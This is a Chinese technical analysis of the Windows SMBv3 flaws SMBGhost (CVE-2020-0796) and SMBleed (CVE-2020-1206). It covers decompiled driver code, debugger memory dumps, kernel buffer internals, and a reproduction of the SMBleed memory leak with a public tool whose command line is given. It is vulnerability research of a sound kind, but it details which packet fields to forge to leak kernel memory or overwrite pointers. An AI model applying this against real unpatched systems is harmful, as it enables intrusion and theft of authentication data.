作者:Strawberry @ QAX A-TEAM
原文链接:https://mp.weixin.qq.com/s/Xlfr8AIB43RuJ9lveqUGOA
2020年3月11日,微软发布了115个漏洞的补丁程序和一个安全指南(禁用SMBv3压缩指南 ---- ADV200005),ADV200005中暴露了一个SMBv3的远程代码执行漏洞,该漏洞可能未经身份验证的攻击者在SMB服务器或客户端上远程执行代码,业内安全专家猜测该漏洞可能会造成蠕虫级传播。补丁日之后,微软又发布了Windows SMBv3 客户端/服务器远程代码执行漏洞的安全更新细节和补丁程序,漏洞编号为CVE-2020-0796,由于一些小插曲,该漏洞又被称为SMBGhost。
2020年6月10日,微软公开修复了Microsoft Server Message Block 3.1.1 (SMBv3)协议中的另一个信息泄露漏洞CVE-2020-1206。该漏洞是由ZecOps安全研究人员在SMBGhost同一漏洞函数中发现的,又被称为SMBleed。未经身份验证的攻击者可通过向目标SMB服务器发特制数据包来利用此漏洞,或配置一个恶意的 SMBv3 服务器并诱导用户连接来利用此漏洞。成功利用此漏洞的远程攻击者可获取敏感信息。
SMBGhost 和 SMBleed 漏洞产生于同一个函数,不同的是,SMBGhost 漏洞源于OriginalCompressedSize 和 Offset 相加产生的整数溢出,SMBleed 漏洞在于 OriginalCompressedSize 或 Offset 欺骗产生的数据泄露。本文对以上漏洞进行分析总结,主要包括以下几个部分:
CVE-2020-0796漏洞源于Srv2DecompressData函数,该函数主要负责将压缩过的SMB数据包还原(解压),但在使用SrvNetAllocateBuffer函数分配缓冲区时,传入了参数OriginalCompressedSegmentSize + Offset,由于未对这两个值进行额外判断,存在整数溢出的可能。如果SrvNetAllocateBuffer函数使用较小的值作为第一个参数为SMB数据分配缓冲区,获取的缓冲区的长度或小于待解压数据解压后的数据的长度,这将导致程序在解压(SmbCompressionDecompress)的过程中产生缓冲区溢出。
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
通过SrvNetAllocateBuffer函数获取的缓冲区结构如下,函数返回的是SRVNET_BUFFER_HDR结构的指针,其偏移0x18处存放了User Buffer指针,User Buffer区域用来存放还原的SMB数据,解压操作其实就是向User Buffer偏移offset处释放解压数据:
原本程序设计的逻辑是,在解压成功之后调用memcpy函数将raw data(压缩数据之前的offset大小的没有被压缩的数据)复制到User Buffer的起始处,解压后的数据是从offset偏移处开始存放的。正常的情况如下图所示,未压缩的数据后面跟着解压后的数据,复制的数据没有超过User Buffer的范围:
但由于整数溢出,分配的User Buffer空间会小,User Buffer减offset剩下的空间不足以容纳解压后的数据,如下图所示。根据该结构的特点,可通过构造Offset、Raw Data和Compressed Data,在解压时覆盖后面SRVNET BUFFER HDR结构体中的UserBuffer指针,从而在后续memcpy时向UserBuffer(任意地址)写入可控的数据(任意数据)。任意地址写是该漏洞利用的关键。
3月份跟风分析过此漏洞并学习了通过任意地址写进行本地提权的利用方式,链接如下:https://mp.weixin.qq.com/s/rKJdP_mZkaipQ9m0Qn9_2Q
根据ZecOps公开的信息可知,引发该漏洞的函数也是srv2.sys中的Srv2DecompressData函数,与SMBGhost漏洞(CVE-2020-0796)相同。
再来回顾一下Srv2DecompressData函数吧,该函数用于还原(解压)SMB数据。首先根据原始压缩数据中的OriginalCompressedSegmentSize和Offset计算出解压后结构的大小,然后通过SrvNetAllocateBuffer函数获取SRVNET BUFFER HDR结构(该结构中指明了可存放无需解压的Offset长度的数据和解压数据的缓冲区的User Buffer),然后调用SmbCompressionDecompress函数向User Buffer的Offset偏移处写入数据。CVE-2020-0796漏洞是由于OriginalCompressedSegmentSize和Offset相加的过程中出现整数溢出,从而导致获取的缓冲区不足以存放解压后的数据,最终在解压过程中产生溢出。
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
在SmbCompressionDecompress函数中有一个神操作,如下所示,如果nt!RtlDecompressBufferEx2返回值非负(解压成功),则将FinalCompressedSize赋值为OriginalCompressedSegmentSize。因而,只要数据解压成功,就不会进入SrvNetFreeBuffer等流程,即使解压操作后会判断FinalCompressedSize和OriginalCompressedSegmentSize是否相等。这是0796任意地址写的前提条件。
if ( (int)RtlGetCompressionWorkSpaceSize(v13, &NumberOfBytes, &v18) < 0
|| (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, (unsigned int)NumberOfBytes, 0x2532534Cu)) != 0i64 )
{
v14 = &FinalCompressedSize;
v17 = v8;
v15 = OriginalCompressedSegmentSize;
v10 = RtlDecompressBufferEx2(v13, v7, OriginalCompressedSegmentSize, v9, v17, 4096, FinalCompressedSize, v6, v18);
if ( v10 >= 0 )
*v14 = v15;
if ( v6 )
ExFreePoolWithTag(v6, 0x2532534Cu);
}
这也是CVE-2020-1206的漏洞成因之一,SmbCompressionDecompress函数会对FinalCompressedSize值进行更新,导致实际解压出来的数据长度和OriginalCompressedSegmentSize不相等时也不会进入释放流程。而且在解压成功之后会将SRVNET BUFFER HDR结构中的UserBufferSizeUsed赋值为Offset与FinalCompressedSize之和,这个操作也是挺重要的。
//Srv2DecompressData
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Alloc->UserBufferSizeUsed = Header->Offset + FinalCompressedSize;
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
那如果我们将OriginalCompressedSegmentSize设置为比实际压缩的数据长度大的数,让系统认为解压后的数据长度就是OriginalCompressedSegmentSize大小,是不是也可以泄露内存中的数据(类似于心脏滴血)。如下所示,POC中将OriginalCompressedSegmentSize设置为x + 0x1000,offset设置为0,最终得到解压后的数据 (长度为x),其后面跟有未初始化的内核数据 ,然后利用解压后的SMB2 WRITE 消息泄露后面紧跟着的长度为0x1000的未初始化数据。
在Win10 1903下使用公开的SMBleed.exe进行测试(需要身份认证和可写权限)。步骤如下: 共享C盘,确保允许Everyone进行更改(或添加其他用户并赋予其读取和更改权限) 在C盘下创建share目录,以便对文件写入和读取 * 按照提示运行SMBleed.exe程序,例:SMBleed.exe win10 127.0.0.1 DESKTOP-C2C92C6 strawberry 123123 c share\test.bin local.bin
以下为获得的local.bin中的部分信息:
在复现的同时可以抓包,可以发现协商之后的大部分包都采用了SMB 压缩(ProtocalId为0x424D53FC)。根据数据包可判断POC流程大概是这样的:SMB协商->用户认证->创建文件->利用漏洞泄露内存信息并写入文件->将文件读取到本地->结束连接。
注意到一个来自服务端的Write Response数据包,其status为STATUS_SUCCESS,说明写入操作成功。ZecOps在文章中提到过他们利用SMB2 WRITE消息来演示此漏洞,因而我们需要关注一下其对应的请求包,也就是下图中id为43的那个数据包。
下面为触发漏洞的SMB压缩请求包,粉色方框里的OriginalCompressedSegmentSize字段值为0x1070,但实际压缩前的数据只有0x70,可借助 SMB2 WRITE 将未初始化的内存泄露出来。
以下为解压前后数据对比,解压前数据大小为0x3f,解压后数据大小为0x70(真实解压大小,后面为未初始化内存),解压后的数据包括SMB2数据包头(0x40长度)和偏移0x40处的SMB2 WRITE结构。在这SMB2 WRITE结构中指明了向目标文件写入后面未初始化的0x1000长度的数据。
3: kd>
srv2!Srv2DecompressData+0xdc:
fffff800`01e17f3c e86f657705 call srvnet!SmbCompressionDecompress (fffff800`0758e4b0)
3: kd> dd rdx //压缩数据
ffffb283`210dfdf0 02460cc0 424d53fe 00030040 004d0009
ffffb283`210dfe00 18050000 ff000100 010000fe 00190038
ffffb283`210dfe10 0018f800 31150007 00007000 ffffff10
ffffb283`210dfe20 070040df 00183e00 00390179 00060007
ffffb283`210dfe30 00000000 00000000 00000000 00000000
ffffb283`210dfe40 00000000 00000000 00000000 00000000
ffffb283`210dfe50 00000000 00000000 00000000 00000000
ffffb283`210dfe60 00000000 00000000 00000000 00000000
3: kd> db ffffb283`1fe23050 l1070 //解压后数据
ffffb283`1fe23050 fe 53 4d 42 40 00 00 00-00 00 00 00 09 00 40 00 .SMB@.........@.
ffffb283`1fe23060 00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00 ................
ffffb283`1fe23070 ff fe 00 00 01 00 00 00-01 00 00 00 00 f8 00 00 ................
ffffb283`1fe23080 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffb283`1fe23090 31 00 70 00 00 10 00 00-00 00 00 00 00 00 00 00 1.p.............
ffffb283`1fe230a0 00 00 00 00 3e 00 00 00-01 00 00 00 3e 00 00 00 ....>.......>...
ffffb283`1fe230b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffb283`1fe230c0 4d 53 53 50 00 03 00 00-00 18 00 18 00 a8 00 00 MSSP............
ffffb283`1fe230d0 00 1c 01 1c 01 c0 00 00-00 1e 00 1e 00 58 00 00 .............X..
ffffb283`1fe230e0 00 14 00 14 00 76 00 00-00 1e 00 1e 00 8a 00 00 .....v..........
ffffb283`1fe230f0 00 10 00 10 00 dc 01 00-00 15 82 88 e2 0a 00 ba ................
ffffb283`1fe23100 47 00 00 00 0f 42 75 7d-f2 d2 46 fe 0f 4b 14 e0 G....Bu}..F..K..
ffffb283`1fe23110 c5 8f fc cd 0a 44 00 45-00 53 00 4b 00 54 00 4f .....D.E.S.K.T.O
ffffb283`1fe23120 00 50 00 2d 00 43 00 32-00 43 00 39 00 32 00 43 .P.-.C.2.C.9.2.C
ffffb283`1fe23130 00 36 00 73 00 74 00 72-00 61 00 77 00 62 00 65 .6.s.t.r.a.w.b.e
ffffb283`1fe23140 00 72 00 72 00 79 00 44-00 45 00 53 00 4b 00 54 .r.r.y.D.E.S.K.T
ffffb283`1fe23150 00 4f 00 50 00 2d 00 43-00 32 00 43 00 39 00 32 .O.P.-.C.2.C.9.2
ffffb283`1fe23160 00 43 00 36 00 00 00 00-00 00 00 00 00 00 00 00 .C.6............
ffffb283`1fe23170 00 00 00 00 00 00 00 00-00 00 00 00 00 21 52 f2 .............!R.
ffffb283`1fe23180 53 be ee d2 a8 01 46 1d-69 9c 78 f5 90 01 01 00 S.....F.i.x.....
ffffb283`1fe23190 00 00 00 00 00 43 c5 71-42 a7 43 d6 01 d9 a8 02 .....C.qB.C.....
ffffb283`1fe231a0 16 83 a3 24 75 00 00 00-00 02 00 1e 00 44 00 45 ...$u........D.E
ffffb283`1fe231b0 00 53 00 4b 00 54 00 4f-00 50 00 2d 00 43 00 32 .S.K.T.O.P.-.C.2
ffffb283`1fe231c0 00 43 00 39 00 32 00 43-00 36 00 01 00 1e 00 44 .C.9.2.C.6.....D
ffffb283`1fe231d0 00 45 00 53 00 4b 00 54-00 4f 00 50 00 2d 00 43 .E.S.K.T.O.P.-.C
ffffb283`1fe231e0 00 32 00 43 00 39 00 32-00 43 00 36 00 04 00 1e .2.C.9.2.C.6....
ffffb283`1fe231f0 00 44 00 45 00 53 00 4b-00 54 00 4f 00 50 00 2d .D.E.S.K.T.O.P.-
ffffb283`1fe23200 00 43 00 32 00 43 00 39-00 32 00 43 00 36 00 03 .C.2.C.9.2.C.6..
ffffb283`1fe23210 00 1e 00 44 00 45 00 53-00 4b 00 54 00 4f 00 50 ...D.E.S.K.T.O.P
ffffb283`1fe23220 00 2d 00 43 00 32 00 43-00 39 00 32 00 43 00 36 .-.C.2.C.9.2.C.6
ffffb283`1fe23230 00 07 00 08 00 43 c5 71-42 a7 43 d6 01 06 00 04 .....C.qB.C.....
ffffb283`1fe23240 00 02 00 00 00 08 00 30-00 30 00 00 00 00 00 00 .......0.0......
ffffb283`1fe23250 00 01 00 00 00 00 20 00-00 6f 26 f2 a8 d5 ab cf ...... ..o&.....
ffffb283`1fe23260 14 7d a9 e2 e9 5a 37 0e-94 56 6d 23 d4 42 bf ba .}...Z7..Vm#.B..
ffffb283`1fe23270 1c 3d 9b 38 91 d3 b4 0f-cd 0a 00 10 00 00 00 00 .=.8............
ffffb283`1fe23280 00 00 00 00 00 00 00 00-00 00 00 00 00 09 00 00 ................
ffffb283`1fe23290 00 00 00 00 00 00 00 00-00 1e a8 6f 1d 2e 86 e2 ...........o....
ffffb283`1fe232a0 6b b9 6b 8b e6 21 f6 de-7f a3 12 04 10 01 00 00 k.k..!..........
ffffb283`1fe232b0 00 9d 20 ee a2 a7 b3 6e-67 00 00 00 00 00 00 00 .. ....ng.......
SMB2 WRITE部分结构如下(了解这些就够了吧): StructureSize(2个字节):客户端必须将此字段设置为49(0x31),表示请求结构的大小,不包括SMB头部。 DataOffset(2个字节):指明要写入的数据相对于SMB头部的偏移量(以字节为单位)。 长度(4个字节):要写入的数据的长度,以字节为单位。要写入的数据长度可以为0。 偏移量(8个字节):将数据写入目标文件的位置的偏移量(以字节为单位)。如果在管道上执行写操作,则客户端必须将其设置为0,服务器必须忽略该字段。 * FILEID(16个字节):SMB2_FILEID 文件句柄。 ……
所以根据以上信息可知,DataOffset为0x70,数据长度为0x1000,从文件偏移0的位置开始写入。查看本次泄露的数据,可以发现正好就是SMB头偏移0x70处的0x1000长度的数据。
所以,前面的UserBufferSizeUsed起了什么样的作用呢?在Srv2PlainTextReceiveHandler函数中会将其复制到v3偏移 0x154处。然后在Smb2ExecuteWriteReal函数(Smb2ExecuteWrite函数调用)中会判断之前复制的那个双字节值是否小于SMB2 WRITE结构中的DataOffset和长度之和,如果小于的话就会出错(不能写入数据)。POC中将这两个字段分别设置为0x70和0x1000,相加后正好等于0x1070,如果将长度字段设置的稍小一些,那么相应的,泄露的数据长度也会变小。也就是说,OriginalCompressedSegmentSize字段设置了泄露的上限(OriginalCompressedSegmentSize - DataOffset),具体泄露的数据长度还是要看SMB2 WRITE结构中的长度。在这里不得不佩服作者的脑洞,但这种思路需要目标系统共享文件夹以及获取权限,还是有些局限的。
//Srv2PlainTextReceiveHandler
v2 = a2;
v3 = a1;
v4 = Smb2ValidateMessageIdAndCommand(
a1,
*(_QWORD *)(*(_QWORD *)(a1 + 0xF0) + 0x18i64), //UserBuffer
*(_DWORD *)(*(_QWORD *)(a1 + 0xF0) + 0x24i64)); //UserBufferSizeUsed
if ( (v4 & 0x80000000) == 0 )
{
v6 = *(_QWORD *)(v3 + 0xF0);
*(_DWORD *)(v3 + 0x158) = *(_DWORD *)(v6 + 0x24);
v7 = Srv2CheckMessageSize(*(_DWORD *)(v6 + 0x24), *(_DWORD *)(v6 + 0x24), *(_QWORD *)(v6 + 0x18)); //UserBufferSizeUsed or *(int *)(UserBuffer+0x14)
v9 = v7;
if ( v7 == (_DWORD)v8 || (result = Srv2PlainTextCompoundReceiveHandler(v3, v7), (int)result >= 0) )
{
*(_DWORD *)(v3 + 0x150) = v9;
*(_DWORD *)(v3 + 0x154) = v9; //上层结构,没有好好分析
*(_BYTE *)(v3 + 0x198) = 1;
//Smb2ExecuteWriteReal
3: kd> g
Breakpoint 5 hit
srv2!Smb2ExecuteWriteReal+0xc9:
fffff800`01e4f949 0f82e94f0100 jb srv2!Smb2ExecuteWriteReal+0x150b8 (fffff800`01e64938)
3: kd> ub rip
srv2!Smb2ExecuteWriteReal+0xa5:
fffff800`01e4f925 85c0 test eax,eax
fffff800`01e4f927 0f88b94f0100 js srv2!Smb2ExecuteWriteReal+0x15066 (fffff800`01e648e6)
fffff800`01e4f92d 4c39bbb8000000 cmp qword ptr [rbx+0B8h],r15
fffff800`01e4f934 0f85d34f0100 jne srv2!Smb2ExecuteWriteReal+0x1508d (fffff800`01e6490d)
fffff800`01e4f93a 0fb74f42 movzx ecx,word ptr [rdi+42h]
fffff800`01e4f93e 8bc1 mov eax,ecx
fffff800`01e4f940 034744 add eax,dword ptr [rdi+44h]
fffff800`01e4f943 398654010000 cmp dword ptr [rsi+154h],eax
3: kd> dd rdi
ffffb283`1fe25050 424d53fe 00000040 00000000 00400009
ffffb283`1fe25060 00000000 00000000 00000005 00000000
ffffb283`1fe25070 0000feff 00000001 00000001 0000f800
ffffb283`1fe25080 00000000 00000000 00000000 00000000
ffffb283`1fe25090 00700031 00001000 00000000 00000000
ffffb283`1fe250a0 00000000 0000003e 00000001 0000003e
ffffb283`1fe250b0 00000000 00000000 00000000 00000000
ffffb283`1fe250c0 00000000 00000000 00000020 00000000
在进行复现前,对一些结构进行分析,如Lookaside、SRVNET BUFFER HDR、MDL等等,以便更好地理解这种利用方式。
SrvNetAllocateBuffer函数会从SrvNetBufferLookasides表中获取大小合适的缓冲区,如下所示,SrvNetAllocateBuffer第一个参数为数据的长度,这里为还原的数据的长度(解压+无需解压的数据),第二个参数为SRVNET_BUFFER_HDR结构体指针或0。如果传入的长度在[ 0x1100 , 0x100100 ] 区间,会进入以下流程。
//SrvNetAllocateBuffer(unsigned __int64 a1, __int64 a2)
//a1: OriginalCompressedSegmentSize + Offset
//a2: 0
v3 = 0;
......
else
{
if ( a1 > 0x1100 ) // 这里这里
{
v13 = a1 - 0x100;
_BitScanReverse64((unsigned __int64 *)&v14, v13);// 从高到低扫描,找到第一个1,v14存放比特位
_BitScanForward64((unsigned __int64 *)&v15, v13);// 从低到高扫描,找到第一个1,v15存放比特位
if ( (_DWORD)v14 == (_DWORD)v15 ) // 说明只有一个1
v3 = v14 - 0xC;
else
v3 = v14 - 0xB;
}
v6 = SrvNetBufferLookasides[v3];
上述代码的逻辑为,分别找到length - 0x100中1的最高比特位和最低比特位,如果相等的话,用最高比特位索引减0xC,否则用最高比特位索引减0xB。最高比特位x可确定长度的大致范围[1<
比特位 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 |
---|---|---|---|---|---|---|---|---|---|
长度 | 0x1100 | 0x2100 | 0x4100 | 0x8100 | 0x10100 | 0x20100 | 0x40100 | 0x80100 | 0x100100 |
索引 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
后面的流程为根据索引从SrvNetBufferLookasides中取出相应结构体X的指针,取其第一项(核心数加1的值),v2为KPCR结构偏移0x1A4处的核心号。然后从结构体X偏移0x20处获取结构v9,v7(v8)表示当前核心要处理的数据在v9结构体中的索引(核心号加1),然后通过v8索引获取结构v10,综上:v10 = (_QWORD )((_QWORD )(SrvNetBufferLookasides[index] + 0x20)+ 8*(Core number + 1)),如果v10偏移0x70处不为0(表示结构已分配),就取出v10偏移8处的结构(SRVNET_BUFFER_HDR)。如果没分配,就调用PplpLazyInitializeLookasideList函数。
v2 = __readgsdword(0x1A4u);
......
v6 = SrvNetBufferLookasides[v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)v2 + 1 < *(_DWORD *)v6 )
v7 = v2 + 1;
v8 = v7;
v9 = *(_QWORD *)(v6 + 0x20);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 0x14);
v11 = (SRVNET_BUFFER_HDR *)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
举个例子(单核系统),假设需要的缓冲区长度为0x10101(需要0x20100大小的缓冲区来存放),得到SrvNetBufferLookasides表中的索引为5,最终通过一步一步索引得到缓冲区0xffffcc0f775f0150(熟悉的SRVNET_BUFFER_HDR结构):
kd>
srvnet!SrvNetAllocateBuffer+0x5d:
fffff806`2280679d 440fb7c5 movzx r8d,bp
//SrvNetBufferLookasides表 大小0x48 索引0-8
kd> dq rcx
fffff806`228350f0 ffffcc0f`7623dd00 ffffcc0f`7623d480
fffff806`22835100 ffffcc0f`7623dc40 ffffcc0f`7623d100
fffff806`22835110 ffffcc0f`7623dd80 ffffcc0f`7623d640
fffff806`22835120 ffffcc0f`7623db40 ffffcc0f`7623dbc0
fffff806`22835130 ffffcc0f`7623de00
//SrvNetBufferLookasides[5] 单核系统核心数1再加1为2(第一项)
kd> dq ffffcc0f`7623d640
ffffcc0f`7623d640 00000000`00000002 6662534c`3030534c
ffffcc0f`7623d650 00000000`00020100 00000000`00000200
ffffcc0f`7623d660 ffffcc0f`762356c0 00000000`00000000
ffffcc0f`7623d670 00000000`00000000 00000000`00000000
//上面的结构偏移0x20
kd> dq ffffcc0f`762356c0
ffffcc0f`762356c0 ffffcc0f`75191ec0 ffffcc0f`75192980
//上面的结构偏移8 v8 = v7 = 2 - 1 = 1
kd> dq ffffcc0f`75192980
ffffcc0f`75192980 00000000`00090001 ffffcc0f`775f0150
ffffcc0f`75192990 00000009`01000004 00000009`00000001
ffffcc0f`751929a0 00000200`00000000 00020100`3030534c
ffffcc0f`751929b0 fffff806`2280d600 fffff806`2280d590
ffffcc0f`751929c0 ffffcc0f`76047cb0 ffffcc0f`75190780
ffffcc0f`751929d0 00000001`00000009 00000000`00000000
ffffcc0f`751929e0 ffffcc0f`75191ec0 00000000`00000000
ffffcc0f`751929f0 00000000`00000001 00000000`00000000
//ExpInterlockedPopEntrySList弹出偏移8处的0xffffcc0f775f0150,还是熟悉的味道(SRVNET_BUFFER_HDR)
kd> dd ffffcc0f`775f0150
ffffcc0f`775f0150 00000000 00000000 72f39558 ffffcc0f
ffffcc0f`775f0160 00050000 00000000 775d0050 ffffcc0f
ffffcc0f`775f0170 00020100 00000000 00020468 00000000
ffffcc0f`775f0180 775d0000 ffffcc0f 775f01e0 ffffcc0f
ffffcc0f`775f0190 00000000 6f726274 00000000 00000000
ffffcc0f`775f01a0 775f0320 ffffcc0f 00000000 00000000
ffffcc0f`775f01b0 00000000 00000001 63736544 74706972
ffffcc0f`775f01c0 006e6f69 00000000 ffffffd8 00610043
SrvNetBufferLookasides是由自定义的SrvNetCreateBufferLookasides函数初始化的。如下所示,这里其实就是以1 << (index + 0xC)) + 0x100为长度(0 <= index < 9),然后调用PplCreateLookasideList设置上面介绍的那些结构。在PplCreateLookasideList函数中设置上面第二三个结构,在PplpCreateOneLookasideList函数中设置上面第四个结构,最终在SrvNetAllocateBufferFromPool函数(SrvNetBufferLookasideAllocate函数调用)中设置SRVNET_BUFFER_HDR结构。
//SrvNetCreateBufferLookasides
while ( 1 )
{
v4 = PplCreateLookasideList(
(__int64 (__fastcall *)())SrvNetBufferLookasideAllocate,
(__int64 (__fastcall *)(PSLIST_ENTRY))SrvNetBufferLookasideFree,
v1, // 0
v2, // 0
(1 << (v3 + 0xC)) + 0x100,
0x3030534C,
v6,
0x6662534Cu);
*v0 = v4;
if ( !v4 )
break;
++v3;
++v0;
if ( v3 >= 9 )
return 0i64;
}
以下为对SRVNET_BUFFER_HDR结构的初始化过程,v7为 length(满足 (1 << (index + 0xC)) + 0x100 条件)+ 0xE8(SRVNET_BUFFER_HDR结构长度+8+0x50)+ 2 * (MDL + 8),其中MDL结构大小和length+0xE8相关,后面会介绍。然后通过ExAllocatePoolWithTag函数分配v7大小的内存,根据偏移获取UserBufferPtr(偏移0x50)、SRVNET_BUFFER_HDR(偏移0x50加length,8字节对齐)等地址,具体如下,不一一介绍。
//SrvNetAllocateBufferFromPool
v8 = (BYTE *)ExAllocatePoolWithTag((POOL_TYPE)0x200, v7, 0x3030534Cu);
......
v11 = (__int64)(v8 + 0x50);
v12 = (SRVNET_BUFFER_HDR *)((unsigned __int64)&v8[v2 + 0x57] & 0xFFFFFFFFFFFFFFF8ui64); //v2是length
v12->PoolAllocationPtr = v8;
v12->pMdl2 = (PMDL)((unsigned __int64)&v12->unknown3[v5 + 0xF] & 0xFFFFFFFFFFFFFFF8ui64);
v13 = (_MDL *)((unsigned __int64)&v12->unknown3[0xF] & 0xFFFFFFFFFFFFFFF8ui64);
v12->UserBufferPtr = v8 + 0x50;
v12->pMdl1 = v13;
v12->BufferFlags = 0;
v12->TracingDataCount = 0;
v12->UserBufferSizeAllocated = v2;
v12->UserBufferSizeUsed = 0;
v14 = ((_WORD)v8 + 0x50) & 0xFFF;
v12->PoolAllocationSize = v7;
v12->BytesProcessed = 0;
v12->BytesReceived = 0i64;
v12->pSrvNetWskStruct = 0i64;
v12->SmbFlags = 0;
//SRVNET_BUFFER_HDR 例:
kd> dq rdi
ffffcc0f`76fed150 00000000`00000000 00000000`00000000
ffffcc0f`76fed160 00000000`00000000 ffffcc0f`76fe9050
ffffcc0f`76fed170 00000000`00004100 00000000`000042a8
ffffcc0f`76fed180 ffffcc0f`76fe9000 ffffcc0f`76fed1e0
ffffcc0f`76fed190 00000000`00000000 00000000`00000000
ffffcc0f`76fed1a0 ffffcc0f`76fed240 00000000`00000000
ffffcc0f`76fed1b0 00000000`00000000 00000000`00000000
ffffcc0f`76fed1c0 00000000`00000000 00000000`00000000
通过MmSizeOfMdl函数获取MDL结构长度,以下为获取0x41e8长度空间所需的MDL结构长度 ( 0x58 ),其中,0x30为基础长度,0x28存放5个物理页的pfn(0x41e8长度的数据需要存放在5个页)。
kd>
srvnet!SrvNetAllocateBufferFromPool+0x62:
fffff806`2280d2d2 e809120101 call nt!MmSizeOfMdl (fffff806`2381e4e0)
kd> r rcx
rcx=0000000000000000
kd> r rdx //0x4100 + 0xe8
rdx=00000000000041e8
kd> p
srvnet!SrvNetAllocateBufferFromPool+0x67:
fffff806`2280d2d7 488d6808 lea rbp,[rax+8]
kd> r rax //0x30+0x28
rax=0000000000000058
kd> dt _mdl
nt!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
MmBuildMdlForNonPagedPool函数调用后,MdlFlags被设置为4,且对应的物理页pfn被写入MDL结构,然后通过MmMdlPageContentsState函数以及或操作将MdlFlags设置为0x5004(20484)。
kd>
srvnet!SrvNetAllocateBufferFromPool+0x1b0:
fffff806`2280d420 e8eb220301 call nt!MmBuildMdlForNonPagedPool (fffff806`2383f710)
kd> dt _mdl @rcx
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n88
+0x00a MdlFlags : 0n0
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : (null)
+0x020 StartVa : 0xffffcc0f`76fe9000 Void
+0x028 ByteCount : 0x4100
+0x02c ByteOffset : 0x50
kd> dd rcx
ffffcc0f`76fed1e0 00000000 00000000 00000058 00000000
ffffcc0f`76fed1f0 00000000 00000000 00000000 00000000
ffffcc0f`76fed200 76fe9000 ffffcc0f 00004100 00000050
ffffcc0f`76fed210 00000000 00000000 00000000 00000000
ffffcc0f`76fed220 00000000 00000000 00000000 00000000
ffffcc0f`76fed230 00000000 00000000 00000000 00000000
ffffcc0f`76fed240 00000000 00000000 00000000 00000000
ffffcc0f`76fed250 00000000 00000000 00000000 00000000
//flag以及物理页pfn被设置
kd> p
srvnet!SrvNetAllocateBufferFromPool+0x1b5:
fffff806`2280d425 488b4f38 mov rcx,qword ptr [rdi+38h]
kd> dt _mdl ffffcc0f`76fed1e0
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n88
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffffcc0f`76fe9050 Void
+0x020 StartVa : 0xffffcc0f`76fe9000 Void
+0x028 ByteCount : 0x4100
+0x02c ByteOffset : 0x50
kd> dd ffffcc0f`76fed1e0
ffffcc0f`76fed1e0 00000000 00000000 00040058 00000000
ffffcc0f`76fed1f0 00000000 00000000 76fe9050 ffffcc0f
ffffcc0f`76fed200 76fe9000 ffffcc0f 00004100 00000050
ffffcc0f`76fed210 00041099 00000000 00037d1a 00000000
